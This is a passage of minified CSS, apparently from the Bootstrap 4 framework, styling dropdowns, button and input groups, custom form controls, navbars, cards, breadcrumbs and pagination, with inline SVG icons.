.dropdown-toggle::after{display:inline-block;width:0;height:0;margin-left:.255em;vertical-align:.255em;content:""}.dropleft .dropdown-toggle::after{display:none}.dropleft .dropdown-toggle::before{display:inline-block;width:0;height:0;margin-right:.255em;vertical-align:.255em;content:"";border-top:.3em solid transparent;border-right:.3em solid;border-bottom:.3em solid transparent}.dropleft .dropdown-toggle:empty::after{margin-left:0}.dropleft .dropdown-toggle::before{vertical-align:0}.dropdown-menu[x-placement^=bottom],.dropdown-menu[x-placement^=left],.dropdown-menu[x-placement^=right],.dropdown-menu[x-placement^=top]{right:auto;bottom:auto}.dropdown-divider{height:0;margin:.5rem 0;overflow:hidden;border-top:1px solid #e9ecef}.dropdown-item{display:block;width:100%;padding:.25rem 1.5rem;clear:both;font-weight:400;color:#212529;text-align:inherit;white-space:nowrap;background-color:transparent;border:0}.dropdown-item:focus,.dropdown-item:hover{color:#16181b;text-decoration:none;background-color:#f8f9fa}.dropdown-item.active,.dropdown-item:active{color:#fff;text-decoration:none;background-color:#007bff}.dropdown-item.disabled,.dropdown-item:disabled{color:#6c757d;background-color:transparent}.dropdown-menu.show{display:block}.dropdown-header{display:block;padding:.5rem 1.5rem;margin-bottom:0;font-size:.875rem;color:#6c757d;white-space:nowrap}.dropdown-item-text{display:block;padding:.25rem 1.5rem;color:#212529}.btn-group,.btn-group-vertical{position:relative;display:-ms-inline-flexbox;display:inline-flex;vertical-align:middle}.btn-group-vertical>.btn,.btn-group>.btn{position:relative;-ms-flex:0 1 auto;flex:0 1 auto}.btn-group-vertical>.btn:hover,.btn-group>.btn:hover{z-index:1}.btn-group-vertical>.btn.active,.btn-group-vertical>.btn:active,.btn-group-vertical>.btn:focus,.btn-group>.btn.active,.btn-group>.btn:active,.btn-group>.btn:focus{z-index:1}.btn-group .btn+.btn,.btn-group .btn+.btn-group,.btn-group .btn-group+.btn,.btn-group .btn-group+.btn-group,.btn-group-vertical .btn+.btn,.btn-group-vertical .btn+.btn-group,.btn-group-vertical .btn-group+.btn,.btn-group-vertical .btn-group+.btn-group{margin-left:-1px}.btn-toolbar{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-pack:start;justify-content:flex-start}.btn-toolbar .input-group{width:auto}.btn-group>.btn:first-child{margin-left:0}.btn-group>.btn-group:not(:last-child)>.btn,.btn-group>.btn:not(:last-child):not(.dropdown-toggle){border-top-right-radius:0;border-bottom-right-radius:0}.btn-group>.btn-group:not(:first-child)>.btn,.btn-group>.btn:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.dropdown-toggle-split{padding-right:.5625rem;padding-left:.5625rem}.dropdown-toggle-split::after,.dropright .dropdown-toggle-split::after,.dropup .dropdown-toggle-split::after{margin-left:0}.dropleft .dropdown-toggle-split::before{margin-right:0}.btn-group-sm>.btn+.dropdown-toggle-split,.btn-sm+.dropdown-toggle-split{padding-right:.375rem;padding-left:.375rem}.btn-group-lg>.btn+.dropdown-toggle-split,.btn-lg+.dropdown-toggle-split{padding-right:.75rem;padding-left:.75rem}.btn-group-vertical{-ms-flex-direction:column;flex-direction:column;-ms-flex-align:start;align-items:flex-start;-ms-flex-pack:center;justify-content:center}.btn-group-vertical .btn,.btn-group-vertical .btn-group{width:100%}.btn-group-vertical>.btn+.btn,.btn-group-vertical>.btn+.btn-group,.btn-group-vertical>.btn-group+.btn,.btn-group-vertical>.btn-group+.btn-group{margin-top:-1px;margin-left:0}.btn-group-vertical>.btn-group:not(:last-child)>.btn,.btn-group-vertical>.btn:not(:last-child):not(.dropdown-toggle){border-bottom-right-radius:0;border-bottom-left-radius:0}.btn-group-vertical>.btn-group:not(:first-child)>.btn,.btn-group-vertical>.btn:not(:first-child){border-top-left-radius:0;border-top-right-radius:0}.btn-group-toggle>.btn,.btn-group-toggle>.btn-group>.btn{margin-bottom:0}.btn-group-toggle>.btn input[type=checkbox],.btn-group-toggle>.btn input[type=radio],.btn-group-toggle>.btn-group>.btn input[type=checkbox],.btn-group-toggle>.btn-group>.btn input[type=radio]{position:absolute;clip:rect(0,0,0,0);pointer-events:none}.input-group{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:stretch;align-items:stretch;width:100%}.input-group>.custom-file,.input-group>.custom-select,.input-group>.form-control{position:relative;-ms-flex:1 1 auto;flex:1 1 auto;width:1%;margin-bottom:0}.input-group>.custom-file+.custom-file,.input-group>.custom-file+.custom-select,.input-group>.custom-file+.form-control,.input-group>.custom-select+.custom-file,.input-group>.custom-select+.custom-select,.input-group>.custom-select+.form-control,.input-group>.form-control+.custom-file,.input-group>.form-control+.custom-select,.input-group>.form-control+.form-control{margin-left:-1px}.input-group>.custom-file .custom-file-input:focus~.custom-file-label,.input-group>.custom-select:focus,.input-group>.form-control:focus{z-index:3}.input-group>.custom-file .custom-file-input:focus{z-index:4}.input-group>.custom-select:not(:last-child),.input-group>.form-control:not(:last-child){border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-select:not(:first-child),.input-group>.form-control:not(:first-child){border-top-left-radius:0;border-bottom-left-radius:0}.input-group>.custom-file{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center}.input-group>.custom-file:not(:last-child) .custom-file-label,.input-group>.custom-file:not(:last-child) .custom-file-label::after{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.custom-file:not(:first-child) .custom-file-label{border-top-left-radius:0;border-bottom-left-radius:0}.input-group-append,.input-group-prepend{display:-ms-flexbox;display:flex}.input-group-append .btn,.input-group-prepend .btn{position:relative;z-index:2}.input-group-append .btn+.btn,.input-group-append .btn+.input-group-text,.input-group-append .input-group-text+.btn,.input-group-append .input-group-text+.input-group-text,.input-group-prepend .btn+.btn,.input-group-prepend .btn+.input-group-text,.input-group-prepend .input-group-text+.btn,.input-group-prepend .input-group-text+.input-group-text{margin-left:-1px}.input-group-prepend{margin-right:-1px}.input-group-append{margin-left:-1px}.input-group-text{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;padding:.375rem .75rem;margin-bottom:0;font-size:1rem;font-weight:400;line-height:1.5;color:#495057;text-align:center;white-space:nowrap;background-color:#e9ecef;border:1px solid #ced4da;border-radius:.25rem}.input-group-text input[type=checkbox],.input-group-text input[type=radio]{margin-top:0}.input-group-lg>.form-control,.input-group-lg>.input-group-append>.btn,.input-group-lg>.input-group-append>.input-group-text,.input-group-lg>.input-group-prepend>.btn,.input-group-lg>.input-group-prepend>.input-group-text{height:calc(2.875rem + 2px);padding:.5rem 1rem;font-size:1.25rem;line-height:1.5;border-radius:.3rem}.input-group-sm>.form-control,.input-group-sm>.input-group-append>.btn,.input-group-sm>.input-group-append>.input-group-text,.input-group-sm>.input-group-prepend>.btn,.input-group-sm>.input-group-prepend>.input-group-text{height:calc(1.8125rem + 2px);padding:.25rem .5rem;font-size:.875rem;line-height:1.5;border-radius:.2rem}.input-group>.input-group-append:last-child>.btn:not(:last-child):not(.dropdown-toggle),.input-group>.input-group-append:last-child>.input-group-text:not(:last-child),.input-group>.input-group-append:not(:last-child)>.btn,.input-group>.input-group-append:not(:last-child)>.input-group-text,.input-group>.input-group-prepend>.btn,.input-group>.input-group-prepend>.input-group-text{border-top-right-radius:0;border-bottom-right-radius:0}.input-group>.input-group-append>.btn,.input-group>.input-group-append>.input-group-text,.input-group>.input-group-prepend:first-child>.btn:not(:first-child),.input-group>.input-group-prepend:first-child>.input-group-text:not(:first-child),.input-group>.input-group-prepend:not(:first-child)>.btn,.input-group>.input-group-prepend:not(:first-child)>.input-group-text{border-top-left-radius:0;border-bottom-left-radius:0}.custom-control{position:relative;display:block;min-height:1.5rem;padding-left:1.5rem}.custom-control-inline{display:-ms-inline-flexbox;display:inline-flex;margin-right:1rem}.custom-control-input{position:absolute;z-index:-1;opacity:0}.custom-control-input:checked~.custom-control-label::before{color:#fff;background-color:#007bff}.custom-control-input:focus~.custom-control-label::before{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-control-input:active~.custom-control-label::before{color:#fff;background-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{position:relative;margin-bottom:0}.custom-control-label::before{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:.25rem;left:-1.5rem;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:.375rem 1.75rem .375rem .75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:0 0 0 .2rem rgba(128,189,255,.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:focus~.custom-file-label::after{border-color:#80bdff}.custom-file-input:disabled~.custom-file-label{background-color:#e9ecef}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:.375rem .75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:2.25rem;padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:1px solid #ced4da;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;padding-left:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range:focus::-webkit-slider-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-moz-range-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range:focus::-ms-thumb{box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-webkit-appearance:none;appearance:none}@media screen and (prefers-reduced-motion:reduce){.custom-range::-webkit-slider-thumb{transition:none}}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;-moz-appearance:none;appearance:none}@media screen and (prefers-reduced-motion:reduce){.custom-range::-moz-range-thumb{transition:none}}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;margin-top:0;margin-right:.2rem;margin-left:.2rem;background-color:#007bff;border:0;border-radius:1rem;transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out;appearance:none}@media screen and (prefers-reduced-motion:reduce){.custom-range::-ms-thumb{transition:none}}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.custom-control-label::before,.custom-file-label,.custom-select{transition:background-color .15s ease-in-out,border-color .15s ease-in-out,box-shadow .15s ease-in-out}@media screen and (prefers-reduced-motion:reduce){.custom-control-label::before,.custom-file-label,.custom-select{transition:none}}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-ms-flexbox;display:flex;-ms-flex:1 0 0%;flex:1 0 0%;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-header,.card-group>.card:first-child .card-img-top{border-top-right-radius:0}.card-group>.card:first-child .card-footer,.card-group>.card:first-child .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-header,.card-group>.card:last-child .card-img-top{border-top-left-radius:0}.card-group>.card:last-child .card-footer,.card-group>.card:last-child .card-img-bottom{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:.25rem}.card-group>.card:only-child .card-header,.card-group>.card:only-child .card-img-top{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card-group>.card:only-child .card-footer,.card-group>.card:only-child .card-img-bottom{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top{border-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion .card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion .card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion .card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion .card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child 